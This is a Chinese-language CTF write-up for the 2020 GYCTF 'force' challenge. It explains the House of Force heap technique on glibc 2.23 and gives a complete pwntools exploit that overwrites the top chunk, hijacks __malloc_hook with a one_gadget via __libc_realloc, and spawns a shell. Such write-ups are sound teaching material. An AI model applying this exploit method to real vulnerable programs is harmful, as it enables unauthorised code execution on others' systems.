force-house of force

本文最后更新于:2024年3月5日 晚上

本题出自2020 gyctf。基于GLIBC 2.23-0ubuntu11。

checksec

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
__int64 v3; // rax
char s[256]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v5; // [rsp+118h] [rbp-8h]

v5 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
memset(s, 255, sizeof(s));
while ( 1 )
{
memset(s, 255, sizeof(s));
puts("1:add");
puts("2:puts");
read(0, nptr, 0xFuLL);
v3 = atol(nptr);
if ( v3 == 1 )
{
add();
}
else if ( v3 == 2 )
{
puts();
}
}
}

add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 add()
{
const void **i; // [rsp+0h] [rbp-120h]
__int64 size; // [rsp+8h] [rbp-118h]
char s[256]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v4; // [rsp+118h] [rbp-8h]

v4 = __readfsqword(0x28u);
memset(s, 255, sizeof(s));
for ( i = (const void **)&unk_202080; *i; ++i )
;
if ( (char *)i - (char *)&unk_202080 > 39 )
exit(0);
puts("size");
read(0, nptr, 0xFuLL);
size = atol(nptr);
*i = malloc(size);
if ( !*i )
exit(0);
printf("bin addr %p\n", *i);
puts("content");
read(0, (void *)*i, 0x50uLL);
puts("done");
return __readfsqword(0x28u) ^ v4;
}

可以发现在读入content时限制长度为0x50,那我们就可以尝试较小的malloc从而实现top chunk的控制;对于申请大小没有做限制,通过mmap申请的大堆地址会分配在libc base附近;通过brk申请的小堆地址会分配在.data到_edata;利用题目给出的bin addr的地址可以进一步得到top chunk的位置和libc base的地址。

puts

1
2
3
4
5
6
7
8
int puts(const char *s)
{
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts(&byte_D93);
return __readfsqword(0x28u) ^ v3;
}

由此我们可以很清楚地得到解题步骤:通过控制top chunk从而实现任意地址分配,进而控制__malloc_hookputs为ogg或system并尝试执行即可。

在直接修改__malloc_hook为ogg时发现并不能通,发现栈未对齐,于是可以使用realloc中的sub rsp, 38h去完成栈对齐即可,那么从__realloc_hook开始的内容应该是:原__realloc_hook的地址对应ogg,__malloc_hook的地址指向__libc_realloc+0x10,实现调用malloc -> __malloc_hook -> __libc_realloc+0x10 -> __realloc_hook -> one_gadget

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context.log_level = 'debug'
ip =
port =
io = remote(ip, port)
elf = ELF('./force')
libc = ELF('./libc-2.23.so')
# mmap --> leak libc_base
io.sendlineafter(b'puts\n', b'1')
io.sendlineafter(b'size\n', b'2097152') # 0x200000
io.recvuntil(b'bin addr 0x')
lb = int(io.recv(12), 16) + 0x200ff0 # calculate in gdb
success('libc_base ='+hex(lb))
io.sendafter(b'content\n', b'111')
# brk --> change top_chunk
io.sendlineafter(b'puts\n', b'1')
io.sendlineafter(b'size\n', b'24')
io.recvuntil(b'bin addr 0x')
tc = int(io.recv(12), 16) + 0x10
io.sendafter(b'content\n', b'\x00'*0x18+p64(0xffffffffffffffff))
# brk --> __malloc_hook, ready to change
mh = lb + libc.sym['__malloc_hook']
offset = mh - tc - 0x10*2 - 0x10 # (size+prev_size)*2 + 0x10(prepare for next_chunk)
io.sendlineafter(b'puts\n', b'1')
io.sendlineafter(b'size\n', str(offset).encode())
io.sendafter(b'content\n', b'111')
# change __malloc_hook --> ogg
io.sendlineafter(b'puts\n', b'1')
io.sendlineafter(b'size\n', b'16')
io.sendafter(b'content\n', b'\x00'*8+p64(lb + 0x4526a)+p64(lb+libc.sym['__libc_realloc']+0x10))
success(hex(libc.sym.__malloc_hook))
success(hex(libc.sym.__libc_realloc))
io.sendlineafter(b'puts\n', b'1')
io.sendlineafter(b'size\n', b'16')
io.interactive()

总结

house of force是一种可以额外获得更大空间的chunk的一种手法,通过修改top chunk的值来实现,

影响版本:2.27之前。由于在2.27为chunk添加了检查,在未来版本该手法失效。

本题考点:mmap分配的大堆会在libc下方,brk分配的小堆会在原本堆栈之间_edata的位置。修改top chunk以绕过堆分割方式,将大堆用brk分配到指定位置以进行进一步控制。

注意:GLIBC 2.23-0ubuntu11与GLIBC 2.23-0ubuntu11.3部分函数位置不同,例如__libc_realloc


force-house of force
http://example.com/2024/02/29/force-house-of-force/
作者
OSLike
发布于
2024年2月29日
许可协议